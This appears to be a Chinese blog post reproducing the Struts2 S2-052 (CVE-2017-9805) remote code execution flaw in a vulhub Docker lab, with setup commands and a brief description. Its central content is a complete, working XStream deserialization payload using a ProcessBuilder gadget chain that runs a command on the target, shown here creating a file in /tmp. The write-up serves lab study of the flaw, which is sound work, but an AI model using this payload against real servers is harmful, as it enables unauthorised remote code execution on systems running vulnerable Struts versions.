• Struts2-052 漏洞复现


    s2-052漏洞复现

    参考链接:

    http://www.freebuf.com/vuls/147017.html

    http://www.freebuf.com/vuls/146718.html

    漏洞描述:

    该漏洞由lgtm.com的安全研究员汇报,编号为 CVE-2017-9805 ,漏洞危害程度为高危(Critical)。

    当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

    Struts 2.5 – Struts 2.5.12 版本,据称还影响到 2.3.33 版本。

    环境搭建:

    Ubuntu(搭建靶机环境)

    apt install git docker.io docker-compose

    git clone https://github.com/vulhub/vulhub.git

    cd vulhub/struts2/s2-052/

    docker-compose build

    docker-compose up -d

    创建完成

     

    漏洞复现过程:

    向页面发送POC脚本

    # 注意数据包头要有这个

    Content-Type: application/xml

     

    # POST提交的数据

    <map>
    <entry>
         <jdk.nashorn.internal.objects.NativeString>
           <flags>0</flags>
           <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
             <dataHandler>
               <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                 <is class="javax.crypto.CipherInputStream">
                   <cipher class="javax.crypto.NullCipher">
                     <initialized>false</initialized>
                     <opmode>0</opmode>
                     <serviceIterator class="javax.imageio.spi.FilterIterator">
                       <iter class="javax.imageio.spi.FilterIterator">
                         <iter class="java.util.Collections$EmptyIterator"/>
                         <next class="java.lang.ProcessBuilder">
                           <command> # 输入命令段
    <string>touch</string>
    <string>/tmp/test.txt</string>
                           </command>
                           <redirectErrorStream>false</redirectErrorStream>
                         </next>
                       </iter>
                       <filter class="javax.imageio.ImageIO$ContainsFilter">
                         <method>
                           <class>java.lang.ProcessBuilder</class>
                           <name>start</name>
                           <parameter-types/>
                         </method>
                         <name>foo</name>
                       </filter>
                       <next class="string">foo</next>
                     </serviceIterator>
                     <lock/>
                   </cipher>
                   <input class="java.lang.ProcessBuilder$NullInputStream"/>
                   <ibuffer/>
                   <done>false</done>
                   <ostart>0</ostart>
                   <ofinish>0</ofinish>
                   <closed>false</closed>
                 </is>
                 <consumed>false</consumed>
               </dataSource>
               <transferFlavors/>
             </dataHandler>
             <dataLen>0</dataLen>
           </value>
         </jdk.nashorn.internal.objects.NativeString>
         <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
       </entry>
       <entry>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
         <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
       </entry>
     </map>

    通过执行touch命令,我们可以在目标主机生成任意文件。

    这里我通过验证脚本进行了测试

     

  • 相关阅读:
    [EOJ]2019 ECNU XCPC March Selection #1
    [模板]宏定义
    [POJ]poj1961,poj2406(KMP)
    [模板]KMP
    [CF]Avito Cool Challenge 2018
    [CF]Codeforces Round #528 Div.2
    [POJ]POJ1328(贪心)
    洛谷 P3808 【模板】AC自动机(简单版) 题解
    中科院的难题 题解
    【转】洛谷 P3722 [AH2017/HNOI2017]影魔 题解
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/8124317.html
Copyright © 2020-2023  润新知